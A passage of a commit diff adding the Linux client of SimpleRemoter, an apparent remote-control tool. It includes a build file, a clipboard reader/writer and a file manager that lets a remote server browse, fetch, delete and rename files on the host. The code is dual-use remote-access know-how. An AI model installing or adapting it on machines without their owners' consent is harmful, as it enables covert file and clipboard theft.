Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
47
linux/CMakeLists.txt
Normal file
47
linux/CMakeLists.txt
Normal file
@@ -0,0 +1,47 @@
|
||||
# 编译方法:cmake . && make
|
||||
# 设置 CMake 最低版本要求
|
||||
set(CMAKE_VERBOSE_MAKEFILE ON)
|
||||
set(CMAKE_CXX_STANDARD 11)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED 11)
|
||||
|
||||
cmake_minimum_required(VERSION 3.22)
|
||||
|
||||
# 定义项目名称和版本
|
||||
project(SimpleRemoter VERSION 1.0)
|
||||
|
||||
# 对于C++项目,确保标准库也静态链接
|
||||
if(CMAKE_CXX_COMPILER_ID STREQUAL "GNU")
|
||||
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static-libstdc++ -static-libgcc")
|
||||
endif()
|
||||
|
||||
# X11 通过 dlopen 运行时加载,编译时无需 X11 开发库
|
||||
|
||||
include_directories(${CMAKE_SOURCE_DIR}/mterm)
|
||||
|
||||
# 额外的包含目录
|
||||
include_directories(../)
|
||||
include_directories(../client)
|
||||
include_directories(../compress)
|
||||
|
||||
# 添加可执行文件
|
||||
set(SOURCES
|
||||
main.cpp
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
)
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
|
||||
# 设置为可以调试
|
||||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g")
|
||||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
||||
|
||||
# 链接 ZSTD 库
|
||||
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||
|
||||
# 链接 dl 库(dlopen/dlsym 用于运行时加载 X11)
|
||||
target_link_libraries(ghost PRIVATE dl)
|
||||
|
||||
# 链接 pthread 库(std::thread 需要)
|
||||
target_link_libraries(ghost PRIVATE pthread)
|
||||
289
linux/ClipboardHandler.h
Normal file
289
linux/ClipboardHandler.h
Normal file
@@ -0,0 +1,289 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <unistd.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
// Linux 剪贴板操作封装
|
||||
// 使用外部工具 xclip 或 xsel 实现,简单可靠
|
||||
// 支持 X11 环境,Wayland 需要 wl-clipboard
|
||||
|
||||
class ClipboardHandler
|
||||
{
|
||||
public:
|
||||
// 检测可用的剪贴板工具
|
||||
static const char* GetClipboardTool()
|
||||
{
|
||||
static const char* tool = nullptr;
|
||||
static bool checked = false;
|
||||
|
||||
if (!checked) {
|
||||
checked = true;
|
||||
// 优先使用 xclip,其次 xsel
|
||||
if (system("which xclip > /dev/null 2>&1") == 0) {
|
||||
tool = "xclip";
|
||||
} else if (system("which xsel > /dev/null 2>&1") == 0) {
|
||||
tool = "xsel";
|
||||
}
|
||||
}
|
||||
return tool;
|
||||
}
|
||||
|
||||
// 检查剪贴板功能是否可用
|
||||
static bool IsAvailable()
|
||||
{
|
||||
// 需要有剪贴板工具且 DISPLAY 环境变量存在
|
||||
return GetClipboardTool() != nullptr && getenv("DISPLAY") != nullptr;
|
||||
}
|
||||
|
||||
// 获取剪贴板中的文件列表
|
||||
// 返回文件的完整路径列表(UTF-8),失败返回空列表
|
||||
// X11 使用 text/uri-list MIME 类型存储文件路径
|
||||
static std::vector<std::string> GetFiles()
|
||||
{
|
||||
std::vector<std::string> files;
|
||||
|
||||
const char* tool = GetClipboardTool();
|
||||
if (!tool || strcmp(tool, "xclip") != 0) {
|
||||
// xsel 不支持指定目标类型,只能用 xclip
|
||||
return files;
|
||||
}
|
||||
|
||||
// 获取 text/uri-list 类型的剪贴板内容
|
||||
std::string cmd = "xclip -selection clipboard -t text/uri-list -o 2>/dev/null";
|
||||
|
||||
FILE* pipe = popen(cmd.c_str(), "r");
|
||||
if (!pipe) return files;
|
||||
|
||||
std::string result;
|
||||
char buffer[4096];
|
||||
while (fgets(buffer, sizeof(buffer), pipe)) {
|
||||
result += buffer;
|
||||
}
|
||||
|
||||
int status = pclose(pipe);
|
||||
if (WEXITSTATUS(status) != 0 || result.empty()) {
|
||||
return files;
|
||||
}
|
||||
|
||||
// 解析 URI 列表,每行一个 file:// URI
|
||||
// 格式: file:///path/to/file 或 file://hostname/path
|
||||
size_t pos = 0;
|
||||
while (pos < result.size()) {
|
||||
size_t lineEnd = result.find('\n', pos);
|
||||
if (lineEnd == std::string::npos) lineEnd = result.size();
|
||||
|
||||
std::string line = result.substr(pos, lineEnd - pos);
|
||||
pos = lineEnd + 1;
|
||||
|
||||
// 去除回车
|
||||
while (!line.empty() && (line.back() == '\r' || line.back() == '\n')) {
|
||||
line.pop_back();
|
||||
}
|
||||
|
||||
// 跳过空行和注释
|
||||
if (line.empty() || line[0] == '#') continue;
|
||||
|
||||
// 解析 file:// URI
|
||||
if (line.compare(0, 7, "file://") == 0) {
|
||||
std::string path;
|
||||
if (line.compare(0, 8, "file:///") == 0) {
|
||||
// file:///path/to/file -> /path/to/file
|
||||
path = line.substr(7);
|
||||
} else {
|
||||
// file://hostname/path -> /path (忽略 hostname)
|
||||
size_t slash = line.find('/', 7);
|
||||
if (slash != std::string::npos) {
|
||||
path = line.substr(slash);
|
||||
}
|
||||
}
|
||||
|
||||
// URL 解码 (处理 %20 等转义字符)
|
||||
path = UrlDecode(path);
|
||||
|
||||
if (!path.empty() && path[0] == '/') {
|
||||
files.push_back(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return files;
|
||||
}
|
||||
|
||||
// 获取剪贴板文本
|
||||
// 返回 UTF-8 编码的文本,失败返回空字符串
|
||||
static std::string GetText()
|
||||
{
|
||||
const char* tool = GetClipboardTool();
|
||||
if (!tool) return "";
|
||||
|
||||
std::string cmd;
|
||||
if (strcmp(tool, "xclip") == 0) {
|
||||
cmd = "xclip -selection clipboard -o 2>/dev/null";
|
||||
} else {
|
||||
cmd = "xsel --clipboard --output 2>/dev/null";
|
||||
}
|
||||
|
||||
FILE* pipe = popen(cmd.c_str(), "r");
|
||||
if (!pipe) return "";
|
||||
|
||||
std::string result;
|
||||
char buffer[4096];
|
||||
while (fgets(buffer, sizeof(buffer), pipe)) {
|
||||
result += buffer;
|
||||
}
|
||||
|
||||
int status = pclose(pipe);
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
return ""; // 命令执行失败
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 设置剪贴板文本
|
||||
// text: UTF-8 编码的文本
|
||||
// 返回是否成功
|
||||
static bool SetText(const std::string& text)
|
||||
{
|
||||
if (text.empty()) return true;
|
||||
|
||||
const char* tool = GetClipboardTool();
|
||||
if (!tool) return false;
|
||||
|
||||
std::string cmd;
|
||||
if (strcmp(tool, "xclip") == 0) {
|
||||
cmd = "xclip -selection clipboard 2>/dev/null";
|
||||
} else {
|
||||
cmd = "xsel --clipboard --input 2>/dev/null";
|
||||
}
|
||||
|
||||
FILE* pipe = popen(cmd.c_str(), "w");
|
||||
if (!pipe) return false;
|
||||
|
||||
size_t written = fwrite(text.c_str(), 1, text.size(), pipe);
|
||||
int status = pclose(pipe);
|
||||
|
||||
return written == text.size() && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
// 设置剪贴板文本(从原始字节)
|
||||
// data: 文本数据(可能是 GBK 或 UTF-8)
|
||||
// len: 数据长度
|
||||
static bool SetTextRaw(const char* data, size_t len)
|
||||
{
|
||||
if (!data || len == 0) return true;
|
||||
|
||||
// 服务端发来的文本可能是 GBK 编码,尝试转换为 UTF-8
|
||||
// 如果已经是 UTF-8 则直接使用
|
||||
std::string text = ConvertToUtf8(data, len);
|
||||
return SetText(text);
|
||||
}
|
||||
|
||||
private:
|
||||
// URL 解码 (处理 %XX 转义字符)
|
||||
static std::string UrlDecode(const std::string& str)
|
||||
{
|
||||
std::string result;
|
||||
result.reserve(str.size());
|
||||
|
||||
for (size_t i = 0; i < str.size(); ++i) {
|
||||
if (str[i] == '%' && i + 2 < str.size()) {
|
||||
// 解析两位十六进制数
|
||||
char hex[3] = { str[i + 1], str[i + 2], 0 };
|
||||
char* end;
|
||||
long val = strtol(hex, &end, 16);
|
||||
if (end == hex + 2 && val >= 0 && val <= 255) {
|
||||
result += (char)val;
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
result += str[i];
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 尝试将 GBK 转换为 UTF-8
|
||||
// 如果转换失败或已经是 UTF-8,返回原始数据
|
||||
static std::string ConvertToUtf8(const char* data, size_t len)
|
||||
{
|
||||
// 检查是否已经是有效的 UTF-8
|
||||
if (IsValidUtf8(data, len)) {
|
||||
return std::string(data, len);
|
||||
}
|
||||
|
||||
// 使用临时文件进行 iconv 转换
|
||||
char tmpIn[] = "/tmp/clip_in_XXXXXX";
|
||||
|
||||
int fdIn = mkstemp(tmpIn);
|
||||
if (fdIn < 0) {
|
||||
return std::string(data, len);
|
||||
}
|
||||
|
||||
// 写入输入数据
|
||||
write(fdIn, data, len);
|
||||
close(fdIn);
|
||||
|
||||
// 使用 iconv 转换
|
||||
std::string cmd = "iconv -f GBK -t UTF-8 ";
|
||||
cmd += tmpIn;
|
||||
cmd += " 2>/dev/null";
|
||||
|
||||
FILE* pipe = popen(cmd.c_str(), "r");
|
||||
if (!pipe) {
|
||||
unlink(tmpIn);
|
||||
return std::string(data, len);
|
||||
}
|
||||
|
||||
std::string result;
|
||||
char buffer[4096];
|
||||
while (fgets(buffer, sizeof(buffer), pipe)) {
|
||||
result += buffer;
|
||||
}
|
||||
|
||||
int status = pclose(pipe);
|
||||
unlink(tmpIn);
|
||||
|
||||
// 如果转换成功且结果非空,返回转换后的文本
|
||||
if (WEXITSTATUS(status) == 0 && !result.empty()) {
|
||||
return result;
|
||||
}
|
||||
|
||||
// 转换失败,返回原始数据
|
||||
return std::string(data, len);
|
||||
}
|
||||
|
||||
// 检查是否是有效的 UTF-8 序列
|
||||
static bool IsValidUtf8(const char* data, size_t len)
|
||||
{
|
||||
const unsigned char* bytes = (const unsigned char*)data;
|
||||
size_t i = 0;
|
||||
|
||||
while (i < len) {
|
||||
if (bytes[i] <= 0x7F) {
|
||||
// ASCII
|
||||
i++;
|
||||
} else if ((bytes[i] & 0xE0) == 0xC0) {
|
||||
// 2-byte sequence
|
||||
if (i + 1 >= len || (bytes[i + 1] & 0xC0) != 0x80) return false;
|
||||
i += 2;
|
||||
} else if ((bytes[i] & 0xF0) == 0xE0) {
|
||||
// 3-byte sequence
|
||||
if (i + 2 >= len || (bytes[i + 1] & 0xC0) != 0x80 || (bytes[i + 2] & 0xC0) != 0x80) return false;
|
||||
i += 3;
|
||||
} else if ((bytes[i] & 0xF8) == 0xF0) {
|
||||
// 4-byte sequence
|
||||
if (i + 3 >= len || (bytes[i + 1] & 0xC0) != 0x80 || (bytes[i + 2] & 0xC0) != 0x80 || (bytes[i + 3] & 0xC0) != 0x80) return false;
|
||||
i += 4;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
};
|
||||
807
linux/FileManager.h
Normal file
807
linux/FileManager.h
Normal file
@@ -0,0 +1,807 @@
|
||||
#pragma once
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/statvfs.h>
|
||||
#include <iconv.h>
|
||||
#include <unistd.h>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <list>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cerrno>
|
||||
#include "FileTransferV2.h"
|
||||
|
||||
// 外部声明 clientID(在 main.cpp 中定义)
|
||||
extern uint64_t g_myClientID;
|
||||
|
||||
// ============== Linux File Manager ==============
|
||||
// Implements file transfer between Windows server and Linux client
|
||||
// Supports: browse, upload, download, delete, rename, create folder
|
||||
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
|
||||
class FileManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
FileManager(IOCPClient* client)
|
||||
: m_client(client),
|
||||
m_nTransferMode(TRANSFER_MODE_NORMAL),
|
||||
m_nCurrentFileLength(0),
|
||||
m_nCurrentUploadFileLength(0)
|
||||
{
|
||||
memset(m_strCurrentFileName, 0, sizeof(m_strCurrentFileName));
|
||||
memset(m_strCurrentUploadFile, 0, sizeof(m_strCurrentUploadFile));
|
||||
SendDriveList();
|
||||
}
|
||||
|
||||
~FileManager()
|
||||
{
|
||||
m_uploadList.clear();
|
||||
}
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_LIST_FILES:
|
||||
SendFilesList((char*)szBuffer + 1);
|
||||
break;
|
||||
|
||||
case COMMAND_DELETE_FILE:
|
||||
DeleteSingleFile((char*)szBuffer + 1);
|
||||
SendToken(TOKEN_DELETE_FINISH);
|
||||
break;
|
||||
|
||||
case COMMAND_DELETE_DIRECTORY:
|
||||
DeleteDirectoryRecursive((char*)szBuffer + 1);
|
||||
SendToken(TOKEN_DELETE_FINISH);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_FILES:
|
||||
// Server wants to download files FROM Linux (upload from Linux perspective)
|
||||
UploadToRemote((char*)szBuffer + 1);
|
||||
break;
|
||||
|
||||
case CMD_DOWN_FILES_V2:
|
||||
// V2 上传文件到服务端
|
||||
FileTransferV2::HandleDownFilesV2(szBuffer, ulLength, m_client, g_myClientID);
|
||||
break;
|
||||
|
||||
case COMMAND_CONTINUE:
|
||||
// Server requests next chunk of file data
|
||||
SendFileData(szBuffer + 1);
|
||||
break;
|
||||
|
||||
case COMMAND_STOP:
|
||||
StopTransfer();
|
||||
break;
|
||||
|
||||
case COMMAND_CREATE_FOLDER:
|
||||
CreateFolder((char*)szBuffer + 1);
|
||||
break;
|
||||
|
||||
case COMMAND_RENAME_FILE:
|
||||
RenameFile(szBuffer + 1);
|
||||
break;
|
||||
|
||||
case COMMAND_SET_TRANSFER_MODE:
|
||||
SetTransferMode(szBuffer + 1);
|
||||
break;
|
||||
|
||||
case COMMAND_FILE_SIZE:
|
||||
// Server wants to upload a file TO Linux (download from Linux perspective)
|
||||
CreateLocalRecvFile(szBuffer + 1);
|
||||
break;
|
||||
|
||||
case COMMAND_FILE_DATA:
|
||||
// Server sends file data chunk
|
||||
WriteLocalRecvFile(szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
|
||||
default:
|
||||
Mprintf("[FileManager] Unhandled command: %d\n", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
IOCPClient* m_client;
|
||||
|
||||
// Upload state (Linux -> Windows)
|
||||
std::list<std::string> m_uploadList;
|
||||
char m_strCurrentUploadFile[4096];
|
||||
int64_t m_nCurrentUploadFileLength;
|
||||
|
||||
// Download state (Windows -> Linux)
|
||||
char m_strCurrentFileName[4096];
|
||||
int64_t m_nCurrentFileLength;
|
||||
int m_nTransferMode;
|
||||
|
||||
// ---- Send single byte token ----
|
||||
void SendToken(BYTE token)
|
||||
{
|
||||
if (!m_client) return;
|
||||
m_client->Send2Server((char*)&token, 1);
|
||||
}
|
||||
|
||||
// ---- iconv encoding conversion ----
|
||||
static std::string iconvConvert(const std::string& input, const char* from, const char* to)
|
||||
{
|
||||
if (input.empty()) return input;
|
||||
iconv_t cd = iconv_open(to, from);
|
||||
if (cd == (iconv_t)-1) return input;
|
||||
|
||||
size_t inLeft = input.size();
|
||||
size_t outLeft = inLeft * 4;
|
||||
std::string output(outLeft, '\0');
|
||||
|
||||
char* inPtr = const_cast<char*>(input.data());
|
||||
char* outPtr = &output[0];
|
||||
|
||||
size_t ret = iconv(cd, &inPtr, &inLeft, &outPtr, &outLeft);
|
||||
iconv_close(cd);
|
||||
|
||||
if (ret == (size_t)-1) return input;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
}
|
||||
|
||||
static std::string gbkToUtf8(const std::string& gbk)
|
||||
{
|
||||
return iconvConvert(gbk, "GBK", "UTF-8");
|
||||
}
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
{
|
||||
return iconvConvert(utf8, "UTF-8", "GBK");
|
||||
}
|
||||
|
||||
// ---- Windows path -> Linux path ----
|
||||
// Examples:
|
||||
// /:\home\user\file.txt -> /home/user/file.txt
|
||||
// /:\home\user\ -> /home/user/
|
||||
// /:\ -> /
|
||||
// /: -> /
|
||||
// C:\Users\file.txt -> /Users/file.txt
|
||||
static std::string winPathToLinux(const char* winPath)
|
||||
{
|
||||
if (!winPath || !*winPath) return "/";
|
||||
|
||||
std::string p(winPath);
|
||||
// 1. Backslash -> forward slash
|
||||
for (auto& c : p) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
|
||||
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
|
||||
p = p.substr(3);
|
||||
} else if (p.size() >= 2 && p[1] == ':') {
|
||||
p = p.substr(2);
|
||||
}
|
||||
// 3. Ensure starts with /
|
||||
if (p.empty() || p[0] != '/') {
|
||||
p = "/" + p;
|
||||
}
|
||||
// 4. Merge consecutive slashes
|
||||
std::string result;
|
||||
result.reserve(p.size());
|
||||
for (size_t i = 0; i < p.size(); i++) {
|
||||
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
|
||||
continue;
|
||||
result += p[i];
|
||||
}
|
||||
return result.empty() ? "/" : result;
|
||||
}
|
||||
|
||||
// ---- Linux path -> Windows path (for sending to server) ----
|
||||
// Converts /home/user/file.txt to /:\home\user\file.txt
|
||||
static std::string linuxPathToWin(const std::string& linuxPath)
|
||||
{
|
||||
// Start with drive letter representation /: for Linux root
|
||||
// Linux path /home/user/file.txt should become /:\home\user\file.txt
|
||||
std::string result = "/:";
|
||||
if (!linuxPath.empty()) {
|
||||
result += linuxPath;
|
||||
}
|
||||
// Convert all forward slashes to backslashes (except the leading /:)
|
||||
for (size_t i = 2; i < result.size(); ++i) {
|
||||
if (result[i] == '/') result[i] = '\\';
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// ---- Unix time_t -> Windows FILETIME ----
|
||||
static uint64_t unixToFiletime(time_t t)
|
||||
{
|
||||
return (uint64_t)t * 10000000ULL + 116444736000000000ULL;
|
||||
}
|
||||
|
||||
// ---- Get root filesystem type ----
|
||||
static std::string getRootFsType()
|
||||
{
|
||||
std::ifstream f("/proc/mounts");
|
||||
std::string line;
|
||||
while (std::getline(f, line)) {
|
||||
std::istringstream iss(line);
|
||||
std::string dev, mp, fs;
|
||||
if (iss >> dev >> mp >> fs) {
|
||||
if (mp == "/") return fs;
|
||||
}
|
||||
}
|
||||
return "ext4";
|
||||
}
|
||||
|
||||
// ---- Ensure parent directory exists (mkdir -p for parent of file path) ----
|
||||
bool MakeSureDirectoryExists(const std::string& filePath)
|
||||
{
|
||||
// Get parent directory
|
||||
std::string dir;
|
||||
size_t lastSlash = filePath.rfind('/');
|
||||
if (lastSlash != std::string::npos && lastSlash > 0) {
|
||||
dir = filePath.substr(0, lastSlash);
|
||||
} else {
|
||||
// No parent directory to create
|
||||
return true;
|
||||
}
|
||||
|
||||
// Create directories recursively
|
||||
std::string current;
|
||||
for (size_t i = 0; i < dir.size(); ++i) {
|
||||
current += dir[i];
|
||||
if (dir[i] == '/' && current.size() > 1) {
|
||||
mkdir(current.c_str(), 0755);
|
||||
}
|
||||
}
|
||||
if (!current.empty() && current != "/") {
|
||||
mkdir(current.c_str(), 0755);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---- Ensure directory path exists (mkdir -p for directory path) ----
|
||||
bool MakeSureDirectoryPathExists(const std::string& dirPath)
|
||||
{
|
||||
std::string dir = dirPath;
|
||||
// Remove trailing slash
|
||||
while (!dir.empty() && dir.back() == '/') {
|
||||
dir.pop_back();
|
||||
}
|
||||
|
||||
// Create directories recursively
|
||||
std::string current;
|
||||
for (size_t i = 0; i < dir.size(); ++i) {
|
||||
current += dir[i];
|
||||
if (dir[i] == '/' && current.size() > 1) {
|
||||
mkdir(current.c_str(), 0755);
|
||||
}
|
||||
}
|
||||
if (!current.empty() && current != "/") {
|
||||
mkdir(current.c_str(), 0755);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---- Send drive list (Linux: root partition /) ----
|
||||
void SendDriveList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
BYTE buf[256];
|
||||
buf[0] = (BYTE)TOKEN_DRIVE_LIST;
|
||||
DWORD offset = 1;
|
||||
|
||||
buf[offset] = '/';
|
||||
buf[offset + 1] = 3; // DRIVE_FIXED
|
||||
|
||||
unsigned long totalMB = 0, freeMB = 0;
|
||||
struct statvfs sv;
|
||||
if (statvfs("/", &sv) == 0) {
|
||||
unsigned long long totalBytes = (unsigned long long)sv.f_blocks * sv.f_frsize;
|
||||
unsigned long long freeBytes = (unsigned long long)sv.f_bfree * sv.f_frsize;
|
||||
totalMB = (unsigned long)(totalBytes / 1024 / 1024);
|
||||
freeMB = (unsigned long)(freeBytes / 1024 / 1024);
|
||||
}
|
||||
memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long));
|
||||
memcpy(buf + offset + 6, &freeMB, sizeof(unsigned long));
|
||||
|
||||
const char* typeName = "Linux";
|
||||
int typeNameLen = strlen(typeName) + 1;
|
||||
memcpy(buf + offset + 10, typeName, typeNameLen);
|
||||
|
||||
std::string fsType = getRootFsType();
|
||||
int fsNameLen = fsType.size() + 1;
|
||||
memcpy(buf + offset + 10 + typeNameLen, fsType.c_str(), fsNameLen);
|
||||
|
||||
offset += 10 + typeNameLen + fsNameLen;
|
||||
|
||||
m_client->Send2Server((char*)buf, offset);
|
||||
}
|
||||
|
||||
// ---- Send file list for directory ----
|
||||
void SendFilesList(const char* path)
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(path).c_str());
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(64 * 1024);
|
||||
buf.push_back((uint8_t)TOKEN_FILE_LIST);
|
||||
|
||||
DIR* dir = opendir(linuxPath.c_str());
|
||||
if (!dir) {
|
||||
Mprintf("[FileManager] opendir failed: %s (errno=%d)\n", linuxPath.c_str(), errno);
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
return;
|
||||
}
|
||||
|
||||
struct dirent* ent;
|
||||
while ((ent = readdir(dir)) != nullptr) {
|
||||
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
|
||||
continue;
|
||||
|
||||
std::string fullPath = linuxPath;
|
||||
if (fullPath.back() != '/') fullPath += '/';
|
||||
fullPath += ent->d_name;
|
||||
|
||||
struct stat st;
|
||||
if (lstat(fullPath.c_str(), &st) != 0)
|
||||
continue;
|
||||
|
||||
uint8_t isDir = S_ISDIR(st.st_mode) ? 0x10 : 0x00;
|
||||
buf.push_back(isDir);
|
||||
|
||||
std::string gbkName = utf8ToGbk(ent->d_name);
|
||||
buf.insert(buf.end(), gbkName.begin(), gbkName.end());
|
||||
buf.push_back(0);
|
||||
|
||||
uint64_t fileSize = (uint64_t)st.st_size;
|
||||
DWORD sizeHigh = (DWORD)(fileSize >> 32);
|
||||
DWORD sizeLow = (DWORD)(fileSize & 0xFFFFFFFF);
|
||||
const uint8_t* pH = (const uint8_t*)&sizeHigh;
|
||||
const uint8_t* pL = (const uint8_t*)&sizeLow;
|
||||
buf.insert(buf.end(), pH, pH + sizeof(DWORD));
|
||||
buf.insert(buf.end(), pL, pL + sizeof(DWORD));
|
||||
|
||||
uint64_t ft = unixToFiletime(st.st_mtime);
|
||||
const uint8_t* pFT = (const uint8_t*)&ft;
|
||||
buf.insert(buf.end(), pFT, pFT + 8);
|
||||
}
|
||||
closedir(dir);
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
}
|
||||
|
||||
// ============== File Upload (Linux -> Windows) ==============
|
||||
|
||||
// Build file list for directory upload
|
||||
bool BuildUploadList(const std::string& pathName)
|
||||
{
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(pathName).c_str());
|
||||
|
||||
DIR* dir = opendir(linuxPath.c_str());
|
||||
if (!dir) return false;
|
||||
|
||||
struct dirent* ent;
|
||||
while ((ent = readdir(dir)) != nullptr) {
|
||||
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
|
||||
continue;
|
||||
|
||||
std::string fullPath = linuxPath;
|
||||
if (fullPath.back() != '/') fullPath += '/';
|
||||
fullPath += ent->d_name;
|
||||
|
||||
struct stat st;
|
||||
if (lstat(fullPath.c_str(), &st) != 0)
|
||||
continue;
|
||||
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
// Recursively add directory contents
|
||||
std::string winPath = linuxPathToWin(fullPath);
|
||||
BuildUploadList(winPath.c_str());
|
||||
} else if (S_ISREG(st.st_mode)) {
|
||||
// Add file to upload list
|
||||
std::string winPath = linuxPathToWin(fullPath);
|
||||
m_uploadList.push_back(utf8ToGbk(winPath));
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Start upload process
|
||||
void UploadToRemote(const char* filePath)
|
||||
{
|
||||
// Clear any previous upload state
|
||||
m_uploadList.clear();
|
||||
m_nCurrentUploadFileLength = 0;
|
||||
memset(m_strCurrentUploadFile, 0, sizeof(m_strCurrentUploadFile));
|
||||
|
||||
std::string path(filePath);
|
||||
|
||||
// Check if it's a directory (ends with backslash)
|
||||
if (!path.empty() && path.back() == '\\') {
|
||||
BuildUploadList(path);
|
||||
Mprintf("[FileManager] Upload: %zu files from directory\n", m_uploadList.size());
|
||||
if (m_uploadList.empty()) {
|
||||
StopTransfer();
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
m_uploadList.push_back(path);
|
||||
}
|
||||
|
||||
// Send first file size
|
||||
SendFileSize(m_uploadList.front().c_str());
|
||||
}
|
||||
|
||||
// Send file size to initiate transfer
|
||||
void SendFileSize(const char* fileName)
|
||||
{
|
||||
std::string linuxPath = winPathToLinux(gbkToUtf8(fileName).c_str());
|
||||
|
||||
// Save current file being processed
|
||||
strncpy(m_strCurrentUploadFile, linuxPath.c_str(), sizeof(m_strCurrentUploadFile) - 1);
|
||||
m_strCurrentUploadFile[sizeof(m_strCurrentUploadFile) - 1] = '\0';
|
||||
|
||||
struct stat st;
|
||||
if (stat(linuxPath.c_str(), &st) != 0) {
|
||||
Mprintf("[FileManager] stat failed: %s (errno=%d)\n", linuxPath.c_str(), errno);
|
||||
// Skip this file and try next
|
||||
if (!m_uploadList.empty()) {
|
||||
m_uploadList.pop_front();
|
||||
}
|
||||
if (m_uploadList.empty()) {
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
} else {
|
||||
SendFileSize(m_uploadList.front().c_str());
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t fileSize = (uint64_t)st.st_size;
|
||||
m_nCurrentUploadFileLength = fileSize;
|
||||
DWORD sizeHigh = (DWORD)(fileSize >> 32);
|
||||
DWORD sizeLow = (DWORD)(fileSize & 0xFFFFFFFF);
|
||||
|
||||
Mprintf("[FileManager] Upload: %s (%lld bytes)\n", linuxPath.c_str(), (long long)fileSize);
|
||||
|
||||
// Build packet: TOKEN_FILE_SIZE + sizeHigh + sizeLow + fileName
|
||||
int packetSize = strlen(fileName) + 10;
|
||||
std::vector<BYTE> packet(packetSize, 0);
|
||||
|
||||
packet[0] = TOKEN_FILE_SIZE;
|
||||
memcpy(&packet[1], &sizeHigh, sizeof(DWORD));
|
||||
memcpy(&packet[5], &sizeLow, sizeof(DWORD));
|
||||
memcpy(&packet[9], fileName, strlen(fileName) + 1);
|
||||
|
||||
m_client->Send2Server((char*)packet.data(), packetSize);
|
||||
}
|
||||
|
||||
// Send file data chunk
|
||||
void SendFileData(PBYTE lpBuffer)
|
||||
{
|
||||
// Parse offset from COMMAND_CONTINUE
|
||||
// Format: [offsetHigh:4bytes][offsetLow:4bytes]
|
||||
DWORD offsetHigh = 0, offsetLow = 0;
|
||||
memcpy(&offsetHigh, lpBuffer, sizeof(DWORD));
|
||||
memcpy(&offsetLow, lpBuffer + 4, sizeof(DWORD));
|
||||
|
||||
// Skip signal: offsetLow == 0xFFFFFFFF (server wants to skip this file)
|
||||
if (offsetLow == 0xFFFFFFFF) {
|
||||
UploadNext();
|
||||
return;
|
||||
}
|
||||
|
||||
int64_t offset = ((int64_t)offsetHigh << 32) | offsetLow;
|
||||
|
||||
// Check if we've reached the end of file
|
||||
if (offset >= m_nCurrentUploadFileLength) {
|
||||
UploadNext();
|
||||
return;
|
||||
}
|
||||
|
||||
FILE* fp = fopen(m_strCurrentUploadFile, "rb");
|
||||
if (!fp) {
|
||||
Mprintf("[FileManager] fopen failed: %s (errno=%d)\n", m_strCurrentUploadFile, errno);
|
||||
SendTransferFinishForCurrentFile();
|
||||
return;
|
||||
}
|
||||
|
||||
if (fseeko(fp, offset, SEEK_SET) != 0) {
|
||||
Mprintf("[FileManager] fseeko failed (errno=%d)\n", errno);
|
||||
fclose(fp);
|
||||
